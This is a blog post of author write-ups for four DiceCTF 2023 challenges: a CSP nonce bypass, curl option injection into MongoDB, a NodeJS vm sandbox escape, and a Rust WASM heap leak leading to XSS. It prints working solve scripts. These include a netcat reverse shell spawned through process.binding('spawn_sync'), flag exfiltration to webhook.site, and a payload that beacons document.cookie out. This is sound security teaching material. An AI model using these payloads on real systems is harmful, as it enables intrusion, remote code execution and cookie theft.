DiceCTF 2023 Writeups

Sun Feb 05 2023


DiceCTF 2023

Hello!

DiceGang just finished hosting DiceCTF 2023, which I think went pretty well. This year I wrote four challenges, web/recursive-csp, web/unfinished, web/jwtjail, and pwn/chess.rs, and my writeups for each will be below.

Challenge writing for this CTF ended up being very hectic; many challs were written very close to last minute. Thankfully, it seemed like most of the competitors really liked the challenges.

Some people asked me why I didn't have a super hard XSS challenge like normal CTFs that I write for, and that was because the other web authors wrote too many client-side XSS challenges before I could 😅

A couple days before the CTF, we had 5 web challenges ready, and only one of them (jwtjail) didn't have an admin bot. But seriously, the web challenges written by the other authors for this CTF were super cool, and I highly recommend that you check them out if you didn't get a chance. If you want to play the challenges, they'll still be up for a little while longer on the CTF site here, and after that, public on our team GitHub here.

In general, I think the web difficulty curve this year was a lot better than last year's - last year we had solves go from 356 -> 75 -> 5, this year it was much better with 178 -> 55 -> 30 -> 14 -> ...

Here are the writeups :)


Contents

recursive-csp

solves: 178

the nonce isn't random, so how hard could this be?

recursive-csp was the first web challenge in the CTF, and it was a pretty simple one. You were given a link to a PHP site where you could enter your name, and it would greet you.

Putting in angle brackets, you could see that your name wasn't escaped at all, allowing you to inject arbitrary HTML. So, XSS should be easy, right? Well, there was a Content-Security-Policy (CSP). If you checked the source code, you would see this:

<?php if (isset($_GET["source"])) highlight_file(__FILE__) && die(); $name = "world"; if (isset($_GET["name"]) && is_string($_GET["name"]) && strlen($_GET["name"]) < 128) { $name = $_GET["name"]; } $nonce = hash("crc32b", $name); header("Content-Security-Policy: default-src 'none'; script-src 'nonce-$nonce' 'unsafe-inline'; base-uri 'none';"); ?> <!DOCTYPE html> <html> <head> <title>recursive-csp</title> </head> <body> <h1>Hello, <?php echo $name ?>!</h1> <h3>Enter your name:</h3> <form method="GET"> <input type="text" placeholder="name" name="name" /> <input type="submit" /> </form> <!-- /?source --> </body> </html>

So, we can pass in the GET parameter "name", which gets set to $name if it's a string and less than 128 characters. Then, it runs hash() with the algorithm "crc32b", and sets it to the CSP's script-src nonce. If you don't know what CSP is, or what a nonce is, I would recommend you read the holy web scriptures MDN's articles on CSP and nonces. But basically, a nonce is supposed to be a random value that you place on specific elements to allow them to bypass the CSP.

The CSP has script-src 'nonce-$nonce', so, to get a script tag on the page to be able to run JavaScript, it needs to have the correct nonce. Once we know what nonce is going to appear, we can use it like this: <script src nonce="$nonce">PAYLOAD</script>.

If you've been paying attention, you'll already see the problem here. Our payload has to have our nonce in it, but the nonce comes from running crc32b on our payload. How are we supposed to place the nonce in our payload if the act of doing that changes the nonce itself? Hopefully now the title recursive-csp makes sense.

There are two solutions for this, the first is to just bruteforce for a valid crc32b, the second is to set a target crc32b first, and then try to modify your payload to get it to have the correct value.

I did the first one because it was a lot easier. I wrote this bruteforcer script in Rust 🦀:

use rayon::prelude::*; fn main() { let payload = "<script nonce='ZZZZZZZZ'>alert('hello')</script>".to_string(); let start = payload.find("Z").unwrap(); (0..=0xFFFFFFFFu32).into_par_iter().for_each(|i| { let mut p = payload.clone(); p.replace_range(start..start+8, &format!("{:08x}", i)); if crc32fast::hash(p.as_bytes()) == i { println!("{} {i} {:08x}", p, i); } }); }

To set this up, run cargo init in a new folder. Then, install the crates rayon (for easy parallelization) and crc32fast with the command cargo add rayon crc32fast. Then, replace the contents of src/main.rs with the code from above. Finally, run cargo run --release to build and run the code.

It creates a range from 0 to 2^32, then uses Rayon to parallelize it. Then, it places the iterator value into the nonce, and checks that the output of crc32fast::hash is itself the iterator value. This gives me a solution in around ~20 seconds on my laptop. I know others tried to write bruteforce scripts in Python or PHP, but that would have been a lot slower.

There is the slight caveat that there is a possibility that none of the 0 to 2^32 values work for having a recursive crc32, but the payload I made ended up having one. If you want a solution that always works, there are GitHub repos online if you want to do the second solution and generate a collision with a predetermined crc32 value. Or, if you want to be extra like a couple teams, write a crc32 collision generator from scratch and treat this web challenge like a crypto challenge. I never thought I'd see a PolynomialRing in a web writeup, but sure I guess...

Once you have a valid payload with a correct nonce, you can set it as your name, and your payload should execute. Now, since the CSP also contains default-src 'none', you have to use something like window.open or location to exfiltrate the admin's cookies. Once you have a working payload, you can just send that URL to the admin, and then you'll get the flag!

dice{h0pe_that_d1dnt_take_too_l0ng}

unfinished

solves: 14

It's the day of the CTF and I haven't finished writing this challenge...

Well, unfinished doesn't mean unsolvable.

Some of you might think that the flavortext was a joke, but no, I really did write and push that challenge with less than 12 hours until the CTF started. As such, no one really was able to test it, and as you could probably guess, a few teams solved with an unintended solution, which I'll also be going over in this writeup.

unfinished was a challenge with per-team instances, which should hint to you that your solution will probably break the site. Going to the URL provided, you see a login page, with what looks like no way to bypass it. Luckily, source was provided. In the source, we see there are two containers, one for the NodeJS web application, and one for the MongoDB instance that holds the users and also the flag.

The NodeJS app has three routes, /, /api/login, and /api/ping. The first two are self-explanatory, but the third route does runs some cURL with some options that you can change, which looks really interesting. It seems like the obvious first step is to somehow get access to /api/ping, but sadly that's behind a middleware that requires you to be logged in.

Users are stored in the MongoDB instance, and there's no way for you to register or inject to leak/bypass /api/login. So, what's the deal? Well, look at the middleware closely...

const requiresLogin = (req, res, next) => { if (!req.session.user) { res.redirect("/?error=You need to be logged in"); } next(); };

This is a common "requires login" middleware that I often have in many of my CTF challenges. See what's wrong here? I'll give you a hint and give an example of what it should look like:

// from corCTF 2021 - web/buyme const requiresLogin = (req, res, next) => { if(!req.user) { return res.redirect("/?error=" + encodeURIComponent("You must be logged in")); } next(); };

The failure case is missing a return! So, if we aren't logged in, it will redirect us with the error message. However, after that, it will still run next(), which will eventually run the code in the rest of our routes. This means that even without logging in, we can still use the functionality in /api/ping. We just won't be able to see the output because the app will crash upon res.send / res.end, but luckily the challenge restarts on a crash.

So, we can just use /api/ping without logging in. Let's take a look at the code for that route.

app.post("/api/ping", requiresLogin, (req, res) => { let { url } = req.body; if (!url || typeof url !== "string") { return res.json({ success: false, message: "Invalid URL" }); } try { let parsed = new URL(url); if (!["http:", "https:"].includes(parsed.protocol)) throw new Error("Invalid URL"); } catch (e) { return res.json({ success: false, message: e.message }); } const args = [ url ]; let { opt, data } = req.body; if (opt && data && typeof opt === "string" && typeof data === "string") { if (!/^-[A-Za-z]$/.test(opt)) { return res.json({ success: false, message: "Invalid option" }); } // if -d option or if GET / POST switch if (opt === "-d" || ["GET", "POST"].includes(data)) { args.push(opt, data); } } cp.spawn('cURL', args, { timeout: 2000, cwd: "/tmp" }).on('close', (code) => { // TODO: save result to database res.json({ success: true, message: `The site is ${code === 0 ? 'up' : 'down'}` }); }); });

So, it takes a URL that we provide, checks that it is a valid one and it is http: or https:. Then, it takes an optional opt and data parameter and validates them. If they are valid, they are added to the arguments of our cURL command. Then, cURL is run with those arguments.

There's something quirky in the opt and data validation. It first checks that opt is a single dash, and then any single letter. Then, it checks that either opt is -d, or the data is "GET" or "POST". So, we can either have -d and arbitrary data, or any single letter option and "GET" or "POST". We can work with this.

Like I said before, there were two solutions for this part, and I'll go over mine first. The flag is in MongoDB, so we'll probably want to somehow send payloads to MongoDB through cURL. MongoDB speaks using the MongoDB Wire Protocol, which is just TCP. We can just use cURL's gopher:// protocol to solve this! Well, one thing stops us: cURL was specifically compiled without gopher support.

However, we can still do this. cURL supports a number of other protocols like telnet and FTP which speak over plaintext TCP, so we can try to use those instead. But, the first step is to somehow be able to do arbitrary cURL options. Reading the cURL man page or the cURL docs, hopefully the -K or --config option stick out to you. If we can get a file on the file system that we can write to, we could potentially use the -K option to read from it, and then have that config file supply arbitrary options to cURL!

Now, how do we get a file on the file system? Well, we can just use the -o / --output option. So, the plan is simple. Send a cURL with arguments -o GET or -o POST to save the contents of our URL to GET or POST on the file system, then send another cURL with the arguments -K GET or -K POST to run that cURL with the config. Now, the next step is writing a MongoDB Wire Protocol payload that gets the flag.

But there's one point we still have to figure out. How do we get the flag after talking to MongoDB? Well, let's assume that we can write a packet that outputs the flag when sent. If we can do that, then hopefully we can get cURL to output the contents to the file system. Once we have the flag on our file system, we could then use -T / --upload-file to upload that flag file to a URL that we control! So, the plan really is simple, besides writing that MongoDB Wire Protocol packet.

If you've read other posts on my blog, you might have seen *CTF 2021 - oh my bet, where I go over how to do that exact thing. But, if you checked my blog during the CTF, you maybe would have realized that I hid that post because of the challenge 🙃

Anyway, my payload generator script looks like this:

const BSON = require("bson"); const fs = require("fs"); const doc = { find: "flag", $db: "secret" }; const data = BSON.serialize(doc); let beginning = Buffer.from( "000000000000000000000000DD0700000000000000", "hex" ); let full = Buffer.concat([beginning, data]); full.writeUInt32LE(full.length, 0); fs.writeFileSync("bson.bin", full);

Running this script, we get a bson.bin that if we send to MongoDB like cat bson.bin | nc mongodb 27017, the flag pops out. Now, we just have to figure out how to get cURL to send that with telnet or FTP. FTP is actually a dead-end, because if you use that, I don't think you can get the output out. So, telnet it is. Here's my solve script:

import requests import time # TARGET = "http://localhost:4444" TARGET = "https://unfinished-7a4232d10386dca2.mc.ax" # curl payload.com/unfinished_p1.txt -o GET # place telnet curl config at GET """ --upload-file /dev/null -o /dev/null --max-time 1 --upload-file "POST" --url "telnet://mongodb:27017" -o "GET" """ # when used with curl -K GET this should send the contents of POST to mongodb and save it to GET for _ in range(5): try: r = requests.post(f"{TARGET}/api/ping", data={ "url": "payload.com/unfinished_p1.txt", "opt": "-o", "data": "GET" }) except: pass time.sleep(2) # curl payload.com/unfinished_p2.txt -o POST # place telnet curl payload at POST # this is the actual payload for mongodb wire protocol """ // output of this code: const BSON = require("bson"); const fs = require("fs"); const doc = { find: "flag", $db: "secret" }; const data = BSON.serialize(doc); let beginning = Buffer.from( "000000000000000000000000DD0700000000000000", "hex" ); let full = Buffer.concat([beginning, data]); full.writeUInt32LE(full.length, 0); fs.writeFileSync("bson.bin", full); """ for _ in range(5): try: r = requests.post(f"{TARGET}/api/ping", data={ "url": "payload.com/unfinished_p2.txt", "opt": "-o", "data": "POST" }) except: pass time.sleep(2) # curl https://example.com -K GET # run curl config, sending payload to mongodb # after this, GET should contain the flag for _ in range(15): try: r = requests.post(f"{TARGET}/api/ping", data={ "url": "https://example.com", "opt": "-K", "data": "GET" }) except: pass time.sleep(3) # curl webhook -T GET # upload flag GET file to webhook = win for _ in range(5): try: r = requests.post(f"{TARGET}/api/ping", data={ "url": "https://webhook.site/", "opt": "-T", "data": "GET" }) except: pass

dice{i_lied_this_1s_th3_finished_st4te}

Now, for the unintended solution.

Like I said before, no testing was done on this challenge, so we missed one thing: there are still folders that the user can write to that we haven't looked at yet.

But, if you played ASIS CTF 2022's web/xtr challenge, you might know that NodeJS will try to load some nonexistent .js files in some specific folders like .node_modules. Running strace node /app/app.js you would see that it tried to open the directory /home/user/.node_modules/. If you create that folder then run strace again, you would see it tried to find the file /home/user/.node_modules/kerberos.js.

So, if you place a custom JavaScript payload there, and then crash the application (just do another ping request), the app will reload and run those files. This gives you full RCE, which you can use to get the flag from MongoDB just by using the MongoDB driver.

jwtjail

solves: 3

A simple tool to verify your JWTs!

Oh, that CVE? Don't worry, we're running the latest version.

jwtjail was a JavaScript sandbox escape challenge, and it was inspired by the recent JWT CVE fiasco.

This was another per-team instanced challenge, and if you checked the provided source, there was a flag.txt and a readflag binary. So obviously, you needed to gain full RCE somehow. Going to the URL, you can input a JWT and the secret it was signed with, and it will verify that the JWT has a valid signature. Simple! Let's look at the code:

"use strict"; const jwt = require("jsonwebtoken"); const express = require("express"); const vm = require("vm"); const app = express(); const PORT = process.env.PORT || 12345; app.use(express.urlencoded({ extended: false })); const ctx = { codeGeneration: { strings: false, wasm: false }}; const unserialize = (data) => new vm.Script(`"use strict"; (${data})`).runInContext(vm.createContext(Object.create(null), ctx), { timeout: 250 }); process.mainModule = null; // 🙃 app.use(express.static("public")); app.post("/api/verify", (req, res) => { let { token, secretOrPrivateKey } = req.body; try { token = unserialize(token); secretOrPrivateKey = unserialize(secretOrPrivateKey); res.json({ success: true, data: jwt.verify(token, secretOrPrivateKey) }); } catch { res.json({ success: false, data: "Verification failed" }); } }); app.listen(PORT, () => console.log(`web/jwtjail listening on port ${PORT}`));

There's a very quirky unserialize function that just allows you to run arbitrary JavaScript. However, it is running in a vm from the NodeJS vm module, which is notoriously unsafe with plenty of bypasses. However, most of those bypasses are of the form this.constructor.constructor("return this") to get the global object. However, with the ctx variable, code generation from strings is disabled, so most of those bypasses don't work.

This challenge was inspired by Seraphin#5016's IrisCTF 2023 challenge web/metacalc, which also had you escaping a NodeJS VM with string generation disabled. Unlike that challenge however, this one gives you an empty sandbox with nothing to escape with.

Now, there's one way to escape the VM jail - you need to find a non-primitive object that comes from outside the VM. Since this object is not part of the original VM context, you could do obj.constructor.constructor("return this") on it to escape the VM. If there wasn't a "use strict" there, then we could have tried to use function arguments to escape, but sadly strict mode disables that. So, we need to find a new object.

Our token and secretOrPrivateKey is run through this unserialize function, letting us create arbitrary JavaScript constructs. Then, it is passed through jwt.verify. If you read the code in jsonwebtoken you might realize that basically nothing really happens to these variables until they hit NodeJS crypto internals. This really was just a NodeJS source code reading challenge, just like simplewaf from corCTF 2022.

Okay, now, how do we get this object from outside the VM? If you trace NodeJS crypto code very hard until your eyes bleed, you might realize that there's basically nothing that you can do. With a Proxy you can trap gets and sets on your objects, but all the variables you get access to are primitives which are recreated inside the VM, so you can't use those to escape. So, what do you do?

The answer? The Proxy apply trap's third argument: argumentsList! Doing some testing with proxies, you might find the apply handler trap, which lets you proxy function calls on your object. Here's what that looks like:

Hopefully the argumentsList stands out to you as interesting. JavaScript arrays are not primitives, so if we can get an array from outside the VM, we can use it to escape. And luckily, the apply trap gives us just that! So now, if we can find any function call on our payload at all, we can use the apply trap to get an array and escape. The one I ended up using was constructor.name[Symbol.toPrimitive], which ends up running when String(payload.constructor.name) gets called. Here's what that looks like:

Two out of the three solvers actually used an unintended solution that didn't use a proxy, instead using Symbol.for('nodejs.util.inspect.custom'). This is used when the error handling calls inspect on the object, and one of the arguments lets you escape from the VM as well.

Well anyway, now we have an object from outside the VM and can escape. Usually at this point the plan is clear, we have globals, so now we do process.mainModule.require("child_process") and win. However, there's a new roadblock now: the code has the line process.mainModule = null. So, we can't just get require anymore and win. What do we do now?

Well, this is a NodeJS internals reading challenge, so off to NodeJS internals we go again!

In node/lib/internal/child_process.js, we see at the top this line:

const spawn_sync = internalBinding('spawn_sync');

And then spawn_sync is used at the end of a lot of functions to actually spawn the new child process. What is internalBinding? Well, internalBinding is the bridge between the JavaScript side of the internals and the C++ side. It is what's used by JavaScript to directly call some C++ exposed bindings. So, if we could get access to internalBinding, we could then directly talk to NodeJS C++ internals, and easily spawn other processes. And if you've played around with process before, you might know about process.binding! process.binding is basically just the exposed form of internalBinding.

So, now we should be able to solve. We have access to process.binding so we can do process.binding('spawn_sync') to get access to the C++ binding. Then, we should just be able to use it just as NodeJS internals does to spawn child processes. Here's my solve script:

fetch("/api/verify", { method: "POST", headers: { "Content-Type": "application/x-www-form-urlencoded" }, body: `token="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.LLPW3b1BzsGRHh1AiHDi6W6RKK-k7INCN_gkvzJUlfo"&secretOrPrivateKey={ constructor: { name: { [Symbol.toPrimitive]: new Proxy(_=>_, { apply(a,b,c) { c.constructor.constructor("return this")().process.binding("spawn_sync").spawn({"args":["nc","IP","12345","-e","/bin/sh"],"file":"nc","stdio":[{"type":"pipe","readable":true,"writable":false}]}) } }) } } }` })

Sending this code escapes the VM and uses spawn_sync to spawn a netcat reverse shell at your IP. With this, you can run /readflag and get the flag!

dice{th3y_retr4cted_the_cve_:(}

chess.rs

solves: 2

🚀 blazingfast rust wasm chess 🚀

If you've been reading my writeups or played CTFs that I've authored for, you might've seen a lot of Rust challenges coming from me recently. I've been trying to learn Rust, and these challenges are just excuses for me to try and write something new to get to learn the language better.

This was probably my favorite challenge out of the ones I wrote for the CTF. It was a Rust WASM XSS pwn challenge that also had no unsafe code in it! The fact that there was no unsafe code probably threw off a lot of players, but don't worry, this really was a pwn challenge. This challenge was inspired by @d0nutptr's Rust challenge "Puget Sound", which you can find here.

chess.rs was a site where you could just play chess. That's it.

The site works through communicating via postMessage to an iframe at /engine.html, which is running a WASM chess engine. /engine.html takes messages from the onmessage handler, passes it to the WASM, and then sends the response back via another postMessage.

This is an XSS challenge, so the obvious first thing to do is check to see if there are any XSS sinks. In the code for the main chess page /js/game.js, we see this handler:

window.onmessage = (e) => { if (e.data === "ready") { send({ type: "init" }); return; } if (e.data.id !== id) { return; } if (e.data.type === "init") { board = /* snip */ send({ type: "get_state" }); } if (e.data.type === "play_move") { send({ type: "get_state" }); } if (e.data.type === "error") { $("#error").html(e.data.data); send({ type: "get_state" }); } if (e.data.type === "get_state") { state = e.data.data; board.position(state.current_fen, true); $("#history").text(state.history.map((v, i) => `${i+1}. ${v}`).join("\n")); $(".navbar").attr("class", "navbar navbar-expand-md " + (state.turn === "white" ? "bg-light" : "navbar-dark bg-black")); } };

So, if we can send a postMessage to the chess page with type "error", it will insert as HTML the data field of our message. If we can hit this block, XSS is easy since there is no CSP. However, we are stopped by the check e.data.id !== id. id is generated above that:

const alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; const id = [...crypto.getRandomValues(new Uint8Array(16))].map(v => alphabet[v % alphabet.length]).join("");

This looks unbreakable, so we'll have to find a way to leak id. Looking through the rest of the code, you might realize that there's actually nothing we can really do to leak id. id is only sent when sending messages to /engine.html, and the postMessage there looks secure with a safe origin check. The message sent to /engine.html is immediately passed into WASM, so we can't steal it there.

Hopefully now the idea behind the challenge is clear. We need to leak id to get XSS, and the only place id is sent is into the chess WASM file. So, we need to find a way to leak id by messing around with the Rust WASM.

Luckily the WASM's Rust source code was provided, so this wasn't a reversing challenge. Let's take a look at the source code:

In lib.rs, we see the global game STATE:

pub static STATE: Lazy<Mutex<HashMap<String, EngineState>>> = Lazy::new(|| Mutex::new(HashMap::new()));

The STATE variable holds a HashMap where the key is a game id (which we want to leak), and an EngineState, which presumably holds the game's current state. Messages are sent to handler.rs, which has three handlers: "init", "get_state", and "play_move".

Okay, so there's no obvious way to leak HashMap keys or get a list of all the active games. And there's no unsafe blocks anywhere, which means there's no memory corruption. Is this even a pwn challenge?

Yes, it is. If you've read a little bit of Rust code, this part in game.rs might seem incredibly suspiscious:

static DEFAULT_FEN: &str = "rnbqkbnr/pppppppp/8/8/8/8/PPPPPPPP/RNBQKBNR w KQkq - 0 1"; fn validate_fen<'a, 'b>(fen: &'b str, default: &'a &'b str) -> (StartType, &'a str) { match fen.parse::<Fen>() { Ok(_) => (StartType::Fen, fen), Err(_) => (StartType::Fen, default), } } fn validate_epd<'a, 'b>(epd: &'b str, default: &'a &'b str) -> (StartType, &'a str) { match epd.parse::<Epd>() { Ok(_) => (StartType::Epd, epd), Err(_) => (StartType::Fen, default), } } impl ChessGame for Game<'_> { fn start(init: &str) -> Self { let mut validator: fn(_, _) -> (StartType, &'static str) = validate_fen; if init.contains(';') { validator = validate_epd; } let data: (StartType, &str) = validator(init, &DEFAULT_FEN); Game { start_type: data.0, start: data.1, moves: Vec::new(), } } // snip }

So, when we start a game, it calls the start trait function with an init string. Then, it chooses a validator from either validate_fen (default), or validate_epd (if the init string has a ";"). Then, it validates the initial string with one of these two functions, and uses that to place into the Game struct.

The init variable here is supposed to be an initial board state in either chess Fen or Epd notation. If you want to read more about Fen strings, the Wikipedia article is a good place to go. The Fen string for the starting position looks like this:

rnbqkbnr/pppppppp/8/8/8/8/PPPPPPPP/RNBQKBNR w KQkq - 0 1

Looking at validate_fen, what it does is obvious. It takes our input fen string and a default fen string. If our input fen string parses as valid, it uses that. Else, it just uses the default string. The validator variable in the start function just switches between a Fen validator and Epd validator. Okay, so this is fine, right?

Well, let's look at that function signature:

fn validate_fen<'a, 'b>(fen: &'b str, default: &'a &'b str) -> (StartType, &'a str)

If you don't know Rust, you might just think that that's Rust being unreadable. But if you do know Rust, you might realize that that literally is unreadable. What is it even doing?

Rust has a concept known as "lifetimes", which you can read about here. In the code above, 'a and 'b are examples of lifetimes. I like to think of lifetimes as just markers to denote how long a reference is valid for in memory. They're used by the Rust compiler to ensure that bugs like UAFs don't exist.

So, fen's has a lifetime of &'b, and default has a lifetime of &'a &'b. Interestingly, the return type has a lifetime of &'a. In the code, default is DEFAULT_FEN, which is a static string and so has a lifetime of 'static, and can be trusted to always exist. So, 'a should probably be 'static (?), which means that this function should probably return a 'static string reference.

But wait, the init string we pass in is definitely not static! init comes from our message input, and will only be valid until the message is dropped! There's something seriously wrong here.

There is actually something horribly wrong here, and it's a soundness hole in Rust, one of the longest existing soundness bugs, being known about since 2015. The actual bug is a mess from how Rust's trait system interacts with variance, and I honestly don't understand it fully. If you want to read more about it, I recommend this post.

This soundness hole leads to undefined behavior without any unsafe, and is actually a bug in the Rust compiler. So, what does this let us do? Well, the soundness hole here lets us extend the lifetime of our init variable to 'static. Then, when init and our message are dropped, any pointers to init become dangling pointers, pointing to somewhere in the heap.

What can we do with this? Well, you might think that with a dangling pointer to a string on the heap, we can just UAF write to this and do some heap shenanigans! Well, it's not so simple, We have a lifetime extension on a &str, not a String. In Rust, there are two different string types. String is the string you're probably familiar with, a data type that's stored on the heap that is an owned type. So, with a String, we can append, delete, modify as we please. But we have a &str, which is just a pointer into a str. This is just a read-only reference to a string slice. So we can actually only read with this. But hopefully, this should be enough to leak the id.

Our init variable is store in the start field of a Game struct, which checking the code, doesn't seem to be output anywhere. If we run get_state, it will attempt to read the start field as a Fen / Epd string and replay moves from that start state, which will probably go horribly wrong if it's just pointing to memory somewhere.

However, looking at the "init" message handler again, we see this snippet:

let mut state = STATE.lock().unwrap(); if let Some(state) = state.get(&msg.id) { return Ok(EngineResponse { new_type: Some("error".to_string()), data: Some(json!(format!("The game '{:#?}' already exists", state))), }); }

This is checked to make sure you aren't initializing a game with the same id twice. And, it appears to debug pretty-print our state variable, and send us the output! So, if we allocate a game with the optional data filled in as a valid Fen string, and try to init the same game again, we should get some heap leaks. Let's try it:

In the image above you can see that the final response debug pretty-prints the Game struct. In the Game struct's start field you can see that it's printing a part of another string that definitely is not a chess Fen string. So, using this bug, we were able to leak some part of heap memory.

You might notice in the example above that the id and Fen string are a bit weird. These were chosen on purpose, as most values cause the JavaScript TextEncoder to fail, so we end up not getting the result. So our heap leak needs to be very precise, because if it sees invalid characters the whole thing will crash with the error "Failed to execute 'decode' on 'TextDecoder': The encoded data was not valid.".

So now, we need to use our dangling pointer in some way to get the id. Presumably, we want our dangling pointer to overlap with the HashMap key for the admin's game so that we can read the value. Can this be done? Well, since we can't move our dangling pointer after it's created, we probably need to create our game first, so the dangling pointer is created, then have the admin's game created after. This way, there might be a chance the admin's newly allocated HashMap key would be placed where our init string originally was before it was dropped, which would let us read the admin's game id.

Can we do this? Well, this is where the pwn challenge becomes a pwn/web challenge! If rCTF supported multiple categories, I probably would have added that as a hint that you need to do some web stuff too.

If we place https://chessrs.mc.ax in an iframe, /engine.html no longer sends the ready message to the chess website, but instead, sends it directly to us instead (since it sends to window.top). If you remember from the handler above, there's no check on the id for the ready message (which makes sense, because at the time the id is not known). When the admin receives a "ready" message, it then creates the game and sends the id to the WASM.

So, by placing https://chessrs.mc.ax in an iframe, we can know when the WASM is loaded (when we recieve a ready messaage), as well as have the admin's game created at any time (by sending a ready message to the iframe). Perfect!

So now, we need to allocate some games in a way that our dangling pointer will be placed right behind the admin's HashMap key allocation. If our offsets are wrong, then we will probably fail as the TextEncoder will die on invalid characters. This is just like heap massaging, but in WASM. Now, there's only one problem - I don't know how to heap massage. So, instead, I just bruteforced offsets in a couple of for-loops until I got the leak that I wanted.

Here's the code:

<!DOCTYPE html> <html> <body> <iframe src="about:blank" name="navigator.sendBeacon('webhook', window.open('/').document.cookie)"></iframe> <script> const sleep = (ms) => new Promise(r => setTimeout(r, ms)); window.frames[0].location = location.hash.includes("local") ? "http://localhost:1337" : "https://chessrs.mc.ax"; window.onmessage = async (e) => { if (e.data === "ready") { e.source.postMessage({ id: "A".repeat(0), type: "init", data: "8/k7/8/8/8/8/K7/8 w - - 0 1" + " ".repeat(1) }, "*"); await sleep(250); e.source.postMessage({ id: "B".repeat(13), type: "init", data: "8/k7/8/8/8/8/K7/8 w - - 0 1" + " ".repeat(34) }, "*"); await sleep(250); window.frames[0].postMessage("ready", "*"); await sleep(500); e.source.postMessage({ id: "B".repeat(13), type: "init" }, "*"); return; } if (e.data.type === "error") { const leak = /"(.*?)"/.exec(e.data.data)[1].split(" ")[0].slice(0, -1); window.frames[0].postMessage({ id: leak, type: "error", data: `<img src=x onerror=eval(window.name) />` }, "*"); } }; </script> </body> </html>

It actually ended up needing multiple game allocations for the leak to be in the right spot. In the solution above, we first create a game with id "" (an empty id), and board "8/k7/8/8/8/8/K7/8 w - - 0 1" + " ".repeat(1). Then, we create another game with id "BBBBBBBBBBBBB", and board "8/k7/8/8/8/8/K7/8 w - - 0 1" + " ".repeat(34). This allocates memory on the heap so that when the admin's game is created (when we send window.frames[0].postMessage("ready", "*")), our second game's start field overlaps perfectly with the admin's game id.

Why do these values work? I didn't want to trace heap allocations, so... ¯\(ツ)/¯

Then, with this leak, we can send an error message to the iframe at https://chessrs.mc.ax, and get JS execution on that page! Now there's only one problem left - SameSite. Since the flag is in the admin's cookie and is set with just document.cookie, it is SameSite Lax by default, which means that the cookie isn't in the iframe. I know that one team got really tripped up by this.

But, since we have XSS on the origin, we can just open a new tab using window.open('/'), which will have the SameSite Lax cookie, which means it has our flag.

dice{even_my_pwn_ch4lls_have_an_adm1n_b0t!!!}

In the end, this challenge got two solves. I was honestly expecting a lot more people to solve, but I guess that the combination of it requiring some web knowledge as well as Rust + WASM + no unsafe meant a lot less people wanted to take a look at it.

Something also fun to note was that this was originally going to be the first pwn challenge sorted by difficulty (after all, you could just get the offsets by bruteforcing). I'm very glad that this was not the case, as people probably would not have been very happy. Luckily, pwn/bop was then made, and then we decided to move the two Solana challenges above chess.rs in the sorting.


Thanks for reading! If you played the CTF, I hope you enjoyed the challenges. I hope you learned something from either playing or reading the writeups!

Check out the other author writeups here if you want to read about the rest of the challenges. Check out the CTF's CTFTime page here.

Follow me on Twitter here!

See you around!

~ Strellic